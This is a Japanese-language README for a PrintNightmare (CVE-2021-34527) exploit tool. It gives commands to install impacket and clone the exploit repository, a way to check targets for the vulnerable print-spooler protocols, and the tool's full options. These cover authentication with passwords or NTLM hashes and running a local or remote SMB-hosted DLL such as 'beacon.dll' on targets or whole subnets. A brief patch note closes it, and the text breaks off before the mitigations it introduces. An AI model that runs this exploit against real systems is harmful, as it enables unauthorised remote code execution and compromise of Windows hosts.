
このPrintNightmareエクスプロイトのバージョンは、Cube0x0によって作成されたコードに基づいています。以下の機能があります。
MS-RPRNおよびMS-PARプロトコルの両方が含まれています(CMD引数で定義)。実行する前に、最新バージョンのimpacketをインストールしてください:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
Impacketのrpcdump.pyを使用して、MS-PARおよびMS-RPRNプロトコルを確認できます:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
あるいは、byt3bl33d3rのスキャナーItWasAllADreamを使用して、ターゲットをスキャンし、PrintNightmareのRCE脆弱性を検証できます。

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
マイクロソフトはPrintNightmareに対する複数のパッチをリリースしており、最新版は2021年9月のPatch Tuesdayに公開されました。これは根本的な脆弱性と、後に発見された回避策に対処しました。詳細については、マイクロソフトの公式ガイダンスを参照してください:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
この脆弱性を緩和するための追加の戦略には以下が含まれます: